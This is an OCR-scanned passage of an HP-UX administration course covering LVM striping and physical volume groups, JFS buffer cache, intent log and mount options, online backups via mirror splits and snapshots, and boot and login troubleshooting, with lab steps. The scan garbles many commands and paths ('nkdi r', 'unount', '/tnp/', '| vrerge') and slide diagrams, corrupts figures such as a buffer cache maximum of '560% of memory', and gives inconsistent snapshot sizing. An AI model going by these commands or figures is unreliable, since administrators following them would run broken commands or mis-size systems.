The slide illustrates a situation where one disk is heavily utilized (100%) while another disk is
only 5% utilized. One potential solution is to stripe the heavily utilized logical volume on the
first disk to both disks.

LVM Striping

The ability to stripe a logical volume across multiple disks (at a file system block level) was
introduced into LVM at the HP-UX 10.01 release. A logical volume must be configured for
striping at the time of creation. Once a logical volume is created, it cannot be striped without
recreating the logical volume

The command to create a striped logical volume is | vcr eat e. The syntax, related to
striping, for this command is:
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Ivcreate -i [nunber of disks] -1 [stripe size] -L [size in MB] vg_nane

Example:

lvcreate -i 2 -1 8 /dev/vg0l
I vextend -L 50 /dev/vg0l/Ilvol 2 /dev/dsk/cOt5d0 /dev/dsk/cOt4dO
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12-4. SLIDE: Hardware Solution — Use PVGs to Offload Busy

Controllers
Hardware Solution —
Use PVGs to Offload Busy Controllers —
| . PVG1
P
o —_——
N PVG2
; ~_ @@ ~ @@ i
Volume Group vg01
Student Notes

Another potential solution to a disk I/O performance problem is to spread the write requests
across the disk controllers as evenly as possible. This helps ensure no one controller
becomes overloaded with I/O requests.

Mirroring Logical Volumes

As previously mentioned, a popular feature of LVM is the ability to mirror logical volumes to
separate disk drives. This involves writing one copy of the data to the primary disk, and one
copy to the mirrored disk. When the primary disk and mirror disk are on the same disk
controller, a performance bottleneck often results, because the disk controller has to service
the writes for both the primary and mirrored data.

Physical Volume Groups

Physical Volume Groups (PVGs) allow disk drives to be grouped based upon the disk
controller to which they're attached. When used in conjunction with LVM mirroring, this
ensures the mirrored data not only goes to a different disk, but also goes to a different PVG
group (that is, a different disk controller).
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How to Set Up PVGs
The PVG groups are defined in the /et ¢/ | vnhpvg file. This file can be manually edited or
updated with the - g option to the vgcr eat e and/or vgext end commands.

A sample / et ¢/ | virpv( file, based on the four disks on the slide would be:

VG [/dev/vgol
PVG PV_group0
/ dev/ dsk/ c0t 6d0
/ dev/ dsk/ c0t 5d0
PVG PV_groupl
/ dev/ dsk/ c2t 5d0
/ dev/ dsk/ c2t 4d0
Configuring LVM to Mirror to Different PVGs

The command to configure LVM mirroring for different PVGs is | vchange. The strict option
to this command, - s, contains the following three arguments:

e vy This indicates all mirrored copies must reside on different disks.
¢ n This indicates mirrored copies can reside on the same disk as the primary copy.

* g This indicates all mirrored copies must reside with different PVGs.

For example, to configure / dev/ vg01/ | vol 1 to mirror to different PVG:

| vchange -s g /dev/vg0l/1vol 1l
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12-5. SLIDE: Tuning a Disk Bottleneck — Software Solutions

Tuning a Disk Bottleneck —
Software Solutions S

Tune Buffer Cache for Optimal Hit Ratio

Defragment JFS Extents

Mount JF'S File Systems using del ayl og Option

Mount JF'S File Systems using Online Options

Student Notes

The software solutions on the above slide are primarily operating system level changes which
can be made to improve disk I/O performance.

¢ Tune buffer cache for optimal hit ratio. This allows more data to be kept in memory
such that future disk I/O requests can be serviced from the buffer cache rather than going
to physical disk.

¢ Defragment JFS Extents. This allows JFS to perform few, large-block reads, as
opposed to many, small-block reads.

*  Mount JFS file systems using the del ayl og option. This improves disk I/O
performance by allowing non-critical JF'S updates to be done asynchronously as opposed
to synchronously (which is the default).

¢ Mount JFS file systems using online options. This allows JFS file systems to be
mounted to favor performance as opposed to integrity. The default JES mount options
favor integrity. With the online JFS mount options, JFS file systems can be mounted to
favor performance.
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12-6. SLIDE: Software Solution — Tune Buffer Cache for
Optimal Hit Ratio

~ Software Solution —
Tune Buffer Cache for Optimal Hit Ratio ——

Defaults
Kernel an Fixed Buffer Cache _
0S Tables [T TTTTT 5% dbc_ni n_pct =5%
Additional Buffer Cache

0 - 45% dbc_max_pct =50%

User Process
and Shared
Memory Area

Student Notes

With the introduction of HP-UX 10.0, the buffer cache becomes dynamic, growing and
shrinking between a minimum size and a maximum size.

How the Buffer Cache Grows

As the kernel reads in files from the file system, it will try to store the data in the buffer
cache. If memory is available and the buffer cache has not reached its maximum size, the
kernel will grow the buffer cache to make room for the new data. As long as there is memory
available, the kernel will keep growing the buffer cache until it reaches its maximum size
(560% of memory, by default).

If memory is not available, or the buffer cache is at its maximum size when new data is read,
then the kernel will select buffer cache entries which are least likely to be needed in the
future, and reallocate those entries to store the new data. It is important for disk
performance reasons, to ensure the buffer cache hit ratio on disk reads is at a minimum of
95%.
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Caution must be taken however, when increasing the maximum size of the buffer cache.
Performance problems can occur due to paging/swapping if the buffer cache is allowed to
grow too large.
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12-7. SLIDE: Software Solution — Defragment JFS Extents
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Student Notes

JF'S allocates space to files in the form of extents, adjacent blocks of disk space treated as a
unit. Extents can vary in size from a single block (1 KB in size) to many megabytes.
Organizing file storage in this manner allows JFS to issue large I/O requests, which is more
efficient than reading or writing a single block at a time.

JF'S extents are represented by a starting block number and a block count. In the example on
the slide, the first extent starts at block 40 and contains a length of 128 blocks (or 128 KB).
When the file grew past the 128 KB size, JF'S tried to increase the size of the last extent.

Since another file was already occupying this location, a new extent was allocated starting at
block 200. This extent grew to a size of 64 KB, before encountering another file. At this
point, a third extent was allocated at block 8. Initially, 8 KB was allocated to the third
extents, but upon closing the file, any space not used by the last extent is returned to the
operating system. Since only 5 KB was used, the extra 3 KB was returned.

Because blocks are allocated and deallocated as files are added, removed, expanded, and
truncated, block space can become fragmented. This can make it more difficult for JF'S to
take advantage of the benefits provided by a contiguous extent allocation. To remove
fragmentation, HP AdvancedJF'S includes a utility called f sadmthat will take fragmented
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blocks and reallocate them as contiguous extents. The f sadmutility can be run on a live file
system (including one containing active databases) safely without interrupting data access.

The f sadmutility will bring the fragmented extents of files closer together, group them by
type and frequency of access, and compact and sort directories. The f sadmutility is
typically run as a recurring scheduled job and is an effective tool for the management of a
high-performance online file store. Even if database software used on top of the file system
has its own defragmenter, this additional defragmentation is necessary to make the storage
that the database engine sees as contiguous more truly so.

You can defragment (reorganize) your HP Online JF'S file system by using SAM or by using
fsadm( 1M directly from the command line.

To use SAM:
1. Invoke SAM.

2. Selectthe Di sks and Fil e Syst ens functional area.
3. Selectthe Fi | e Syst ens application.

4. Select the JFS file system that you wish to reorganize from the directories list.

5. Select the Act i ons menu.
6. Select the VXFS Mai nt enance menu item.

7. View reports on extent and directory fragmentation, then select Reor gani ze Extents
or Reor gani ze Directori es to defragment your JFS file system.

H3045S C.00 12-14 http://feducation.hp.com
00 2000 Hewlett-Packard Company



Module 12
Tuning Performance Bottlenecks

12-8. SLIDE: JFS Intent Log
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Student Notes

A key advantage of JF'S is that all file system transactions are written to an “Intent Log”. The
logging of file system transactions helps to ensure the integrity of the file system, and allows
the file system to be recovered quickly in the event of a system crash.

How the Intent Log Works

When a change is made to a file within the file system, such as a new file being created, a file
being deleted, or a file being updated, a number of updates must be made to the superblock
and inode table for that file system. These changes are called metadata updates. Typically,
there are multiple metadata updates that take place every time a change is made to a file.

With JFS, after every successful file change (also called a transaction), all the metadata

updates related to that transaction get written out to a JFS Intent Log. The purpose of the
Intent Log is to hold all COMPLETED transactions that have not been flushed out to disk.
Therefore, the JF'S intent log holds all completed transactions not yet flushed out to disk.

If the system were to crash, the file system could quickly be recovered by mounting the file
system and applying all transactions in the intent log. Since only completed transactions are
logged, there is no risk of a file change only being partially updated (i.e. only some metadata
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updates related to the transactions being logged, and other metadata updates related to the
same transaction not being logged). The logging of only COMPLETED transactions prevents
the file system from being out-of-sync due a crash occurring in the middle of a transaction.
Either the entire transaction is logged or none of the transaction is logged. This allows the
JFS intent log to be used in a recovery situation as opposed to a standard f sck. The JFS
recovery is done in seconds, as opposed to a standard f sck which (on a big file system)
could take ten, twenty, even thirty minutes.

Example

Using the example on the slide, assume each file transaction requires from one to four
metadata updates. After each successful file transaction, all the related metadata updates are
written to the JFS intent log.

After 30 seconds, all the metadata updates are written out to disk by the sync daemon, and a
corresponding DONE record is written to the JF'S intent log for each JF'S transaction that was
flushed during the sync. The system can now reuse that space in the JFS intent log for new
JF'S transactions.

When a crash occurs (in our example, in the middle of a file transaction), the uncompleted
transaction never has any metadata written to the JFS intent log, therefore only one
transaction is in the JF'S intent log since the last sync. Only this transaction needs to be
redone and then the file system is recovered and in a stable state. Compare this with having
to be a standard f sck.

Performance Impacts

The default size of the JFS intent log is 1 MB. For the majority of cases, this size will be
sufficient. However, for file system which perform lots of metadata updates, this size may be
too small, resulting in a degradation of performance.

The performance degradation occurs when the entire 1 MB of the JFS intent log becomes
filled with pending JF'S transactions. In these situations, all new JF'S transactions must wait
for DONE records to arrive for the existing JF'S transactions. Once the DONE records arrive,
the space used by the corresponding transactions can be freed and reused for new
transactions.

Having to wait for DONE records to arrive can significantly decrease performance with JF'S.
In these cases, it is suggested the JFS file system be reinitialized with a larger JF'S intent log.

WARNING: Network File Systems (NF'S) can generate a large number of metadata
updates if accessed currently by multiple systems. For JF'S file systems
being exported for network access via NFS, it is strongly
recommended these file systems have an intent log size of 16 MB
(maximum size for intent log).
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12-9. SLIDE: Software Solution — Mount JFS File Systems Using

del ayl og Option
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Student Notes

The following slide shows a graphical representation of how JFS transactions are processed.

System call is issued (for example, write call).

1.

All in-memory data structures related to the transaction are updated. These in-memory
structures would include the Superblock, the Inode table, and/or the Allocation Unit.

Once the in-memory structures are updated, a JFS transaction is packaged containing the
modifications to the in-memory structures. This packaged transaction contains all the
data needed to reproduce the transaction (should that be necessary).

Once the JF'S transaction is created, it is written to the intent log synchronously.

At this point, control is returned to the system call (assuming the default Full Logging).

Since the transaction is now stored on disk (in the intent log), there is no hurry to update

the in-memory data structures to their corresponding disk-based data structures.
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Therefore, the in-memory structures are transferred to the buffer cache, and the sync
daemon flushes out these transactions within the next 30 seconds.

5. After the metadata structures are flushed out, a DONE record is written to the intent log
indicating the transaction has been updated to disk, and the corresponding transaction no
longer needs to be kept in the intent log.

Intent Log Mount Options

JF'S offers mount options to delay or disable transaction logging to the intent log. This allows
the system administrator to make trade-offs between file system integrity and performance.
The following are the logging options:

Mount Option

Full logging (log)

Delayed logging (del ayl 0g)

Temporary logging (t npl 0g)

No logging (nol og)

H3045S C.00
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Description

File system structural changes are logged to disk before
the system call returns to the application. If the system
crashes, f sck( 1M will complete logged operations
that have not completed.

Some system calls return before the intent log is
written. This improves the performance of the system,
but some changes are not guaranteed until a short time
later when the intent log is written. This mode
approximates traditional UNIX system guarantees for
correctness in case of system failure.

The intent log is almost always delayed. This improves
performance, but recent changes may disappear if the
system crashes. This mode is only recommended for
temporary file systems.

The intent log is disabled. The other three logging
modes provide for fast file system recovery; nol og
does not provide fast file system recovery. With nol og
mode, a full structural check must be performed after a
crash. This may result in loss of substantial portions of
the file system, depending upon activity at the time of
the crash. Usually, a nol og file system should be
rebuilt with nkf s( 1M after a crash. The nol og mode
should only be used for memory resident or very
temporary file systems.
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12-10. SLIDE: Software Solution — Mount JFS File Systems
Using Online Options
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Student Notes

The mi ncache and convosync options control the integrity of the user data, where the log
options (log, delaylog, tmplog, nolog) control the integrity of the metadata.

The ni ncache option controls how asynchronous writes are handled, as they relate to user
data. The default for asynchronous, user data writes is del ayed. This means user data is
first written to the buffer cache, and sometime later, the sync daemon updates the data to
disk. It is termed delayed, because the write call returns when the data is copied to the
buffer cache, and there is a delay before the data actually makes it out to disk.

The convosync option controls how synchronous writes (files opened with O_SYNC flag)
are handled. The default for files opened in this manner is synchr onous. This means user
data is written to the buffer cache and then flushed immediately out to disk. The write call
does not return until the user data is written to disk.

The synchr onous mode also affects metadata transactions, if the file system is mounted
with the delaylog option. Normally, when a file system is mounted with delaylog, critical
metadata transactions return after the intent log write, and noncritical metadata transactions
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return before the intent log write. When a file is opened in “synchoronous” mode, it forces all
metadata transactions (even the noncritical ones) related to that file to be considered

“critical”.

NOTE: See course H5278 Performance and Tuning for more information on
the online, JFS mount options
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12-11. SLIDE: JFS Mount Option: nm ncache=t npcache
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Student Notes

By default, when a process performs a write extending call, the new data is written to disk
before the file's inode is updated. In the slide above, the left side shows the default
behavior:

1. Write data to newly allocated file system block.

2. Write JF'S transaction out to disk. System call returns

The advantage of this behavior is unitialized data will NOT be found within the file should a
system crash occur. This is important from a data integrity standpoint.

The disadvantage of this behavior is slow performance, because the JFS transaction must
wait for the user data I/O to complete before it can be written to the intent log.

Behavior with - 0 nmi ncache=t npcache Option

Performance can be improved (at the expense of data integrity) by mounting file systems
with the - 0 m ncache=t npcache option. This option allows the JFS transactions to be
written to the intent log before the user data is written to the file. In the slide, the right side
shows the t npcache behavior:

1. Write JFS transaction out to disk. System call returns.
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2. Write data to newly allocated file system block.

The advantage of this behavior is the performance of write extending calls is fast. The
system does not wait for the user data to be written to disk.

The disadvantage of this behavior is data integrity of the file is jeopardized, especially if the
file is being updated at the time of a system crash. By updating the file's inode first, the file
points to uninitialized data blocks which contain unknown data. The uninitialized file system
blocks are expected to be initialized soon after the inode is updated, however, there still
exists a small window of time when the file's inode references unknown data. If the system
crashes during this small window, then the file will still be referencing the uninitialized data
after the crash.

WARNING: The - 0 m ncache=t npcache option should only be used for
memory resident or very temporary file systems.
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Module 13 — Online Backups

Objectives
Upon completion of this module, you will be able to:

¢ Use LVM mirror to perform an online backup.
¢ Create a JFS snapshot file system.

¢ Use JFS snapshot to perform an online backup.
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13-1. SLIDE: Online Backup Options
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Student Notes

There are two popular methods for performing online backups with the HP-UX operating

system:

¢ LVM Mirrored Backups

¢ Online JFS Backups (using snapshots)

Both of these solutions require the purchase of additional software products (MirrorUX or

AdVJFS).
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13-2. SLIDE: LVM Mirrored Backup
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Student Notes

When a logical volume is mirrored, as shown on the slide, two copies of the data are written
to two different locations. Note, this is done transparently to the users, and that there is no
way to access the mirrored copy independently of the primary copy.

By creating a method where the mirror copy could be accessed independently (i.e. split the
mirror), we could allow the users to still use the primary copy, and the mirror copy could be

used for backing up.
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13-3. SLIDE: Splitting the Mirror
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Student Notes
LVM contains a command called | vspl i t, which allows the mirrored logical volume to be

split from the primary logical volume.

Upon splitting the logical volume, a new device file is created which allows the mirrored
logical volume to be accessed separately from the primary. The name of the new device file
is the primary device filename with the character “b” appended at the end.

For example the name of the split off mirror for / dev/ vg00/ | vol 4 is
/ dev/ vgO00/ | vol 4b.

The following is the full sequence of commands necessary to perform an LVM mirrored
backup:
1. Split the mirror off from the primary logical volume:

| vsplit /dev/vg00/Ilvol 4

This create a new devile file called / dev/ vg00/ | vol 4b.

2. Ensure the integrity of the mirrored file system by running fsck against it:
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fsck /dev/vg00/Ivol 4b

The fsck program should detect the file system still has its mount flag ON, and will
modify the file system by turning the mount flag OFF.

3. Make a mount point directory for the mirror, if one does not already exist:
nkdi r /backup

4. Mount the mirrored file system:

nmount /dev/vg00/ 1| vol 4b / backup

5. Perform the backup using any backup tool desired. It is recommended to backup using
partial pathnames:

cd /backup
tar cvf /dev/rnt/0m.

6. When the backup completes, remerge the mirror with the primary copy:

cd /
umount / backup
| virer ge / dev/vg00/1 vol 4b /dev/vg00/1vol 4
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13-4. SLIDE: Merging the Mirror Back with the Primary
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Student Notes

When the mirror is ready to be merged back with the primary, a special LVM command

| virer ge can be used instead on | vsync. The | vsync command copies every single block
from the primary to the mirror; this can take a long time, especially if the logical volume is
large.

The | virer ge command takes advantage of the LVM Mirror Write Cache, which tracks every
block which changed while the mirror was split off. The | virer ge command only copies
blocks listed in the Mirror Write Cache, as opposed to every block on the logical volume.
This significantly improves the time it takes to sync the mirror back with the primary.

In the slide it shows all blocks which changed on the primary are copied over to the mirror.
But what about blocks which changed on the mirror? Are they copied back to the primary?

The answer is NO, blocks which changed on the mirror are NOT copied back to the primary.
Instead, the unchanged block on the primary is copied over the changed block on the mirror!
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13-5. SLIDE: Dual Systems LVM Mirrored Backup
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Student Notes

Another variation of LVM mirrored backups is to use two systems. This off-loads the
performance load of the backup (reading the disk, writing to tape) from the primary system.
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13-6. LAB: Backups Using LVM Mirrors

PART 1: Backup Using a Single System

1. Display the file systems currently mounted:
# bdf

Record the name of the logical volume containing / hone:

2. Mirror the / hone logical volume. This may require adding a second disk to the root
volume group. If only one disk is in the root volume group, execute the following
commands to extend the root volume group to two disks:

# pvcreate -f /dev/rdsk/cOt8d0 (substitute disk name as appropriate)
# vgextend vg00 /dev/dsk/cOt8d0)

3. Once it is verified that two disks exist in the root volume group, mirror the / hore logical
volume:

# lvextend -m 1 /dev/vg00/Ilvol 4
# 11 [dev/vg00

Note, there are no special files for accessing the mirror independently of the primary.

4. Split the mirror off from the primary logical volume:

# lvsplit /dev/vg00/Ilvol 4
# 11 /dev/vg00

What are the names of the two new device files created by | vsplit?
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5. Next, mount the split off logical volume to a subdirectory called / backup. Note, a
common mistake if forgetting to fsck the split off file system before mounting it.

# nkdir /backup
# mount /dev/vg00/Ivol 4b / backup

This should fail; what is the reason for the failure?

# fsck -F vxfs /dev/vg00/1vol 4b
# mount /dev/vg00/Ivol 4b / backup

6. At this point, the mirror of / homne is ready to be backed up. To illustrate the online nature
of the backup, in a second window, create the following activity on the file system:

# cd /home/ h3045s */di sk/ | abl
# tinmex ./disk_long &

7. While the activity is taking place, backup all the mirrored data. Return to the first
window and enter the following:

# cd / backup
# fbackup -f /tnp/backupl -i

8. Once the backup completes, unmount the file system from the / backup directory.

# cd /
# unount /backup
# frecover -f /tnp/backupl -1 -

9. To remerge the mirror with the primary file system, enter:
# | vrerge /dev/vg00/ I vol 4b /dev/vg00/ I vol 4
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10. For the purposes of the JF'S online backup lab, remove the mirror:
# lvreduce -m O /dev/vg00/Ilvol 4
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Part 2 (Optional): Backup Using Dual Systems

1.

Create a new volume group, /dev/vg02, using disks connected to both systems. For
example:

# pvcreate -f /dev/rdsk/clt9dO
# pvcreate -f /dev/rdsk/c2t9d0

# nkdir /dev/vg02
# nknod /dev/vg02/ group ¢ 64 0x020000

# vgcreate vg02 /dev/dsk/cl1lt9d0 /dev/ dsk/ c2t 9d0

Create a mirrored logical volume in vg02:
# lvcreate -L 100 -m 1 vg02

Create a JF'S file system in the mirrored logical volume:
# newfs -F vxfs /dev/vg02/rlvoll

Mount and copy the files from / hone to the newly created file system:

# nkdir /data
# mount /dev/vg02/1voll /data

# cp -r /hone/* /data

Now, split the mirror from the primary logical volume and f sck the mirrored copy:

# lvsplit /dev/vg02/Ivoll
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# fsck -F vxfs /dev/vg02/1vol 1b
Why couldn't the f sck have been performed on the second system?

6. Prepare and move the map file for purposes of importing the volume group to the other
system:

# vgexport -p -m/tnp/ map vg02
# ftp [second system
ftp> [ put /tnp/map file to second system ]

7. On the second system, import the volume group:

# nkdir /dev/vg02
# nmknod /dev/vg02/ group ¢ 64 0x020000

# vginport -m/tnp/ map vg02 /dev/dsk/clt9d0 /dev/dsk/ c2t9d0

8. While on the second system, activate the volume group vg02 as read-only:
# vgchange -a r vg02

9. Now, mount the split off mirror to / dat a on the second system:

# nkdir /data
# mount -o ro /dev/vg02/1lvol 1b /data
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10. Backup the data from the second system:
# fbackup -f /tnp/backup2 -i /data

11. Once the backup completes, umount the file system and list files in the backup to verify
they contain the full pathnames:

# unount /data

# frecover -f [tnp/backup2 -1 -

12. Return both systems to an appropriate pre-backup state. On the second system, enter:
# vgexport vg02
On the first system, enter:

| vimrer ge /dev/vg02/1vol 1b /dev/vg02/1vol 1
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13-7. SLIDE: JFS Online Backup
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Student Notes

A JFS snapshot (available with HP OnLineJFS) is a consistent, stable view of an active file
system, used to perform a backup of an active file system. It allows the system administrator
to capture the file system state at a moment in time (without taking it off-line), mount that
file system image elsewhere, and back it up.

The snapshot file system must reside either on a separate disk or separate logical volume
from the original file system. Any data on the device prior to taking the snapshot will be
overwritten when the snapshot is taken.

Commands and applications need not be changed to work with snapshots, since the kernel is
responsible for locating snapshot data (either on the snapshot device or the primary device),
and for copying individual blocks from the primary file system to the snapshot device
immediately before they are updated. Because of this copy-on-write scheme, a snapshot can
be created instantaneously and requires only enough space to hold the blocks that might
change while the snapshot is mounted.

The snapshot volume should be about 10-20% the size of the original file system. The
snapshot volume need not be structured in any way; it is not necessary to execute newf s for
a snapshot file system.
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Snapshot Limitations

While a snapshot is mounted, changes to the original file system will not be reflected in the
snapshot. The snapshot is a "frozen" image of the original file system.

Once a snapshot is unmounted, its contents are lost.

It is possible to run out of space on a snapshot device. This might happen because the device
is too small because the primary file system is too volatile , or because the snapshot remains
mounted for too long. When a snapshot device becomes full, the kernel has nowhere to copy
blocks from the primary file system. In this situation, the kernel cannot maintain a stable
view of the file system, so it makes the snapshot inaccessible. Typically, the system
administrator will create a new snapshot after correcting the problem (for example, by using
a larger snapshot device, or by choosing a time when the primary file system is less volatile).
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13-8. SLIDE: Mounting a JFS Snapshot

Mounting a JF'S Snapshot

Home Log. Val.

S / ’
| l
I I I I I I I I I

etc  snapshot  var home  tmp userl user2  user3  userd

Root Logical Volume

N A

Swap Logica Volume

N A
~.

nount -0 snapof =/ dev/ vg00/1 vol 4 / dev/vg00/snap_l v /snapshot

Student Notes

In the example on the slide, a snapshot of / horne is mounted at / snhapshot . Initially,
identical directories and files would appear under / home and under / snapshot , but users
would still be able to access and modify the primary file system (/ hone). These changes
would not appear in the snapshot. Instead, / snapshot would continue to reflect the state of
/ homre at the moment the snapshot was taken.

Once the snapshot is created (done with the mount command), the primary file system
remains online and continues to change. The snapshot is then backed up with any backup
utility except dunp.

Step 1

Determine how large the snapshot file system needs to be, and create a logical volume to
contain it.

e Use bdf to assess the primary file system size and consider the following:

— Block size of the file system (1024 bytes per block by default)
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— How much the data in this file system is likely to change (15-20% is recommend)

For example, to determine how large to make a snapshot of | vol 4, mounted on / hone,
examine its bdf output:

Fil esystem kbyt es used avai |l %used Mounted on

/ dev/vg00/1vol 4 40960 38121 2400 94% / home

Allowing for 20% change to this 40MB file system, you would want to create a logical
volume of 8 blocks (8 MB).

e Usel vcr eat e to create a logical volume to contain the snapshot file system:
|vcreate -L 8 -n snapshot /dev/vg02

creates an 8 MB logical volume called / dev/ vg02/ snapshot , which should be
sufficient to contain a snapshot file system of | vol 4.

Step 2

Make a directory for the mount point of the snapshot file system.
For example,

nkdi r /snapshot

Step 3

Mount the snapshot file system.

e In the following example, a snapshot is taken of logical volume / dev/ vg00/ | vol 4,
contained in logical volume / dev/ vg02/ snapshot , and mounted on / snapshot :

# mount -F vxfs -o snapof=/dev/vg00/Ilvol 4 /dev/vg02/ snapshot /snapshot

Step 4
Back up the snapshot file system with any backup utility except dunp.

For example, to use t ar (1) to archive the snapshot file system / t np/ house, ensuring that
the files on the tape will have relative pathnames:

# cd /snapshot; tar cvf /dev/rm/0Om.

Alternatively, the following vxdunp( 1M command backs up a snapshot file system
/ snapshot , which has extent attributes:

# cd /snapshot; vxdump -0 -f /dev/rnmt/Om.
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13-9. SLIDE: More on JFS Online Backup

More on JE'S Online Backup

Home Log. Val.

e ,
| |
I I I I I I I I I

etc  snapshot  var home  tmp userl user2  user3  userd

Root Logical Volume

N A

Swap Logica Volume

N A
~.

Student Notes

To the user, the snapshot looks like an ordinary file system, which has been mounted read-

only. Snapshots are always mounted read-only; that is, none of its directories or files may be

modified.

Internally, however, something very different is going on.

¢ The device containing a snapshot only holds blocks that have changed on the primary file
system since the snapshot was created.

¢ The remaining blocks, which have not changed, can be found on the device containing
the primary file system. Thus, there is no need for a copy.

All this is done transparently within the kernel.
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13-10. LAB: Backups Using JFS Snapshots

1. This lab will take a snapshot of the / hone file system. Display the disk space statistics
for the / home file system:

# bdf /hone
What is the total size of the / home logical volume?

2. Create alogical volume to be used for the snapshot. The recommended size for the
snapshot is 25-30% of the original file system's size. For example, if / hone is 100 MB in
size, then create the snapshot to be 28MB in size:

# lvcreate -L 28 -n snapshot _honme vg00

3. Create the mount point directory for the snapshot:
# nkdir /snapshot

4. Take a snapshot of the /home file system (example assumes / homne is mounted to
/ dev/vg00/ | vol 4):

# mount -F vxfs -o snapof=/dev/vg00/Ivol 4 /dev/vg00/snapshot _home /snapshot
# 11 /snapshot

5. At this point, the snapshot of / hone is ready to be backed up.

# cd /snapshot
# fbackup -f /tnp/backup3 -i
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6. Once the backup completes, unmount the file system from / snapshot directory:

# cd /
# unmount /snapshot
# frecover -f [tnp/backup3 -1 -
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Module 14 — General System Troubleshooting

Objectives
Upon completion of this module, you will be able to:

e List three common system errors.
e List four common troubleshooting techniques.

¢ Describe how to “break” out of a hung startup script during boot to multi-user mode.
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14-1. SLIDE: Common System Errors

Common System Errors

¢ Login Errors T
\¥/_/

e System Startup Errors p/

— Bad/Corrupt LIF Area

— Missing/Corrupt Binary
Startup Files
. . p//
— Missing/Corrupt ASCII

I'vol 1 [ /st and/ viuni

Startup Files b
¢ Corrupt Configuration Files Ntz

- /et C/ hOSt S [ setc/rc. config. d O

I vol 3 B
- letc/passwd <’) gftf:m .

~ Jetc/fstab 5

Student Notes

There are all kinds of errors that can occur when managing any operating system and HP-UX
is no exception. System errors can occur for many different reasons, ranging from hardware
failures, to resources (disk, swap, kernel tables) filling up, to operating system bugs.

This module focuses on some of the common areas in which system errors occur:

¢ During user login.
¢ During system startup.

¢ During the update of system configuration files.

The module also provides an opportunity to troubleshoot errors in the three common areas.
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14-2. SLIDE: Troubleshooting Techniques

~ Troubleshooting Techniques

Check log files (/ var/ adm sysl og/ sysl og. 1 o0g, /etc/rc.|og)
¢ Trace execution of scripts (sh -vx script_name)

Look for recently modified files (find / -ntine -1)

Check integrity of OS files. Use

— swerify
— pwek, gr pck
— fsck

Student Notes

Because system errors occur for a multitude of reasons, there are few guidelines and tips that
apply to all types of errors. In many cases, the best troubleshooting tools are:

¢ Knowledge of how the system works
* Experience

Some general troubleshooting techniques which to remember when troubleshooting are:

1. Check the system log files. There are approximately 50 different log files in HP-UX
with almost every subsystem containing its own log file. The type of error will determine
which log file to check (see SAM for a list of the log files).

Two log files that are often useful to check are the system log file
(/ var/ adm sysl og/ sysl og. | 0g) and the startup log file (/ et c/ rc. | 0g).

2. Trace execution of scripts. If the error occurs during the execution of a script, then to
pinpoint exactly which line of the script the error is occurring on, a trace of the script’s
execution can be performed by adding “sh —vx” in front of the script.
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3. Look for recently modified files. Often errors occur because a syntax error was
introduced during the update of a file. If a subsystem was working in the past and begins
to yield errors, a good troubleshooting tip is to list all files that have been recently
modified.

To list all files that have been modified with the last day, type:
find / -minme -1

4. Check the integrity of OS configuration files. There are a number of OS commands
that verify the integrity of important system files. For example, the pwck command
ensures there are no errors in the / et ¢/ passwd file. The gr pck verifies the integrity of
the / et ¢/ gr oup file. The swer i fy command can ensure the permission of for the
system files are set correctly. And the f sck command can find any “lost” files that may
have resulted from a system being shut down improperly.

H3045S C.00 14-4 http://feducation.hp.com
00 2000 Hewlett-Packard Company



Module 14
General System Troubleshooting

14-3. SLIDE: Common Problems Booting to Multi-User Mode

~— Common Problems Booting to
Multi-User Mode -

/ HP-UX Start-up in progress \
Mount file systens (0.4

Setting hostname ........... . . i (0.4
Set privilege group . ....... . N A
Display date .. ..... .. N A
Save systemcore inage if needed ................ ... ... .... N A
Enabl e auxiliary swap Space .............ouuiiiiiinnnnnnnn. (0.4
Start syncer daendn ... ... ... (04
Configure LAN interfaces ............. ... (0.4
Start Software Distributor agent daenon ................... (0.4
Configuring all unconfigured software file sets ........... (03¢
Recover editor crash files ...... ... .. ... . . . . . . . . . . ... .... (014
Clean UUCP ... ... e e (014
List and/or clear tenporary files ......................... (0.4
Start nName SerVer ... ... ... (0.4
Configure NI'S server subsystem ................. ... .c...... (0.4
Configure NIS client subsystem ................. ... .c...... (0.4

(Configure NFS client subsystem ............................ wai ting)
<BREAK>

Student Notes

Booting the system is a very common place for system errors to occur. When the system
boots to multi-user mode, many different subsystems are started (e.g. cr on, SD daemons,
NFS daemons) and most all of the system configuration files are referenced.

In HP-UX 11.00, a total of 63 different startup scripts are executed to bring the system up to
multi-user mode. For each startup script, a line is written to the “HP-UX Start-up” checklist
indicating the status (success, failure, or NA) of the script’s execution. The slide shows a
sample of the system startup checklist screen.

If a subsystem is not configured properly, it is likely that the startup script for that subsystem

will hang indefinitely, not producing a success or a failure message (as shown on the slide for

the NF'S client subsystem). In these situations, it is necessary to “break” out of the script. The
BREAK| key can be used during system startup to escape or break out of the startup process.

It is important to realize that the system will be left in an unknown state when breaking out
of the system startup routines. This is because some of the scripts for a run level have
completed, while other scripts for the run level have not executed. In these situations, the
recommended practice is to investigate and fix the specific subsystem that hung during
startup and then to reboot the system.
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14-4. SLIDE: Defaulting to Single User Mode

~ Defaulting to Single User Mode

Run Level = 3
Multi-user w/ Full Network & X Windows

Run Level = 2
Multi-user w/ Basic Network & All F/S Mounted

................................................................................................
.....
o

Run Level = 1
Single-user w/ Minimum Filesystems and Processes

0

. o
. .
...................................................................................................

Run Level = 0
Power Off State

Student Notes

When booting the system to multi-user mode, there are a number key configuration files and
important fields in these files which the system needs in order to be successful. If this
critical information is corrupt or not available, then the system uses a default configuration
which causes the system to boot to single-user mode.

Situations where the system would default to a single-user mode boot include:

e A missing or corrupt entry in the / et ¢/ i ni t t ab file for the i ni t field.
e Syntax error(s) in the / et ¢/ f st ab file preventing the file systems from being mounted.

e Aninvalid definition for the r oot account in the / et ¢/ passwd file.
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14-5. SLIDE: Common Problems Logging In

.
'
.
.

~— Common Problems Logging In

init letc/inittab
re / sbi n/ rc#. d/ St##scri pt
dtlogin.rc  /sbin/rc3. d/ S990dt I ogi n. rc
dtgreet / et ¢/ passwd

dtwm /etc/ hosts

dtterm / dev/ pts/ #
-sh letc/profile

$HOVE/ . profile $HOVE/ .dtprofile
$HOME/ . Xdef aul ts

Welcome to buzhy

Plense enter your user name

Start over Optiorrs

Student Notes

Similar to how the process of booting a system necessitates many system configuration files
be correct and error-free, the process of logging in requires many user configuration files be

correct and error-free.

The slide above shows the sequence in which the login processes (and all the parent
processes) are spawned, and the user configuration files referenced by each login process.

Examples of corruption that could occur to some of the login files include:

/ et c/ passwd

[ etc/ hosts

[ dev/ pts/#

http://leducation.hp.com

An invalid value in one of the login fields (e.g. invalid home directory
or invalid login shell) would prevent the user from being able to login.

An IP address or hostname value which does not agree with the IP
